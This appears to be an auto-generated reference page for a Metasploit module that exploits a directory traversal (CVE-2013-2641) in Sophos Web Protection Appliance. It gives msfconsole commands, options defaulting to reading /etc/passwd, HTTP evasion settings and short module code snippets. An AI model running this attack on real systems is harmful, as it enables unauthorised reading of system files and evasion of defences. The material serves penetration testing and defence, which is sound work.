Sophos Web Protection Appliance patience.cgi Directory Traversal - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/sophos_wpa_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Sophos Web Protection Appliance patience.cgi Directory Traversal
Module: auxiliary/admin/http/sophos_wpa_traversal
Source code: modules/auxiliary/admin/http/sophos_wpa_traversal.rb
Disclosure date: 2013-04-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2641

This module abuses a directory traversal in Sophos Web Protection Appliance, specifically on the /cgi-bin/patience.cgi component. This module has been tested successfully on the Sophos Web Virtual Appliance v3.7.0.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/sophos_wpa_traversal
msf auxiliary(sophos_wpa_traversal) > show targets
    ... a list of targets ...
msf auxiliary(sophos_wpa_traversal) > set TARGET target-id
msf auxiliary(sophos_wpa_traversal) > show options
    ... show and set options ...
msf auxiliary(sophos_wpa_traversal) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the admin/http/sophos_wpa_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/sophos_wpa_traversal

msf6 auxiliary(admin/http/sophos_wpa_traversal) > show info

       Name: Sophos Web Protection Appliance patience.cgi Directory Traversal
     Module: auxiliary/admin/http/sophos_wpa_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-04-03

Provided by:
  Wolfgang Ettlingers
  juan vazquez <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DEPTH     2                yes       Traversal depth
  FILEPATH  /etc/passwd      yes       The name of the file to download
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     443              yes       The target port (TCP)
  SSL       true             no        Negotiate SSL/TLS for outgoing connections
  VHOST                      no        HTTP server virtual host

Description:
  This module abuses a directory traversal in Sophos Web Protection 
  Appliance, specifically on the /cgi-bin/patience.cgi component. This 
  module has been tested successfully on the Sophos Web Virtual 
  Appliance v3.7.0.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-2641
  OSVDB (91953)
  http://www.securityfocus.com/bid/58833
  https://www.exploit-db.com/exploits/24932
  http://www.sophos.com/en-us/support/knowledgebase/118969.aspx
  https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt

Module Options


This is a complete list of options available in the admin/http/sophos_wpa_traversal auxiliary module:

msf6 auxiliary(admin/http/sophos_wpa_traversal) > show options

Module options (auxiliary/admin/http/sophos_wpa_traversal):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DEPTH     2                yes       Traversal depth
   FILEPATH  /etc/passwd      yes       The name of the file to download
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/sophos_wpa_traversal auxiliary module:

msf6 auxiliary(admin/http/sophos_wpa_traversal) > show advanced

Module advanced options (auxiliary/admin/http/sophos_wpa_traversal):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/sophos_wpa_traversal module can do:

msf6 auxiliary(admin/http/sophos_wpa_traversal) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/sophos_wpa_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/sophos_wpa_traversal) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Sophos Web Protect Appliance vulnerable component not found


Here is a relevant code snippet related to the "Sophos Web Protect Appliance vulnerable component not found" error message:

95:	  def run
96:	    print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
97:	    if is_proficy?
98:	      print_good("Check successful")
99:	    else
100:	      print_error("Sophos Web Protect Appliance vulnerable component not found")
101:	      return
102:	    end
103:	
104:	    contents = read_file(datastore['FILEPATH'])
105:	    if contents.nil?

File not downloaded


Here is a relevant code snippet related to the "File not downloaded" error message:

101:	      return
102:	    end
103:	
104:	    contents = read_file(datastore['FILEPATH'])
105:	    if contents.nil?
106:	      print_error("File not downloaded")
107:	      return
108:	    end
109:	
110:	    file_name = my_basename(datastore['FILEPATH'])
111:	    path = store_loot(

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References


See Also


Check also the following modules related to this module:

Authors


  • Wolfgang Ettlingers
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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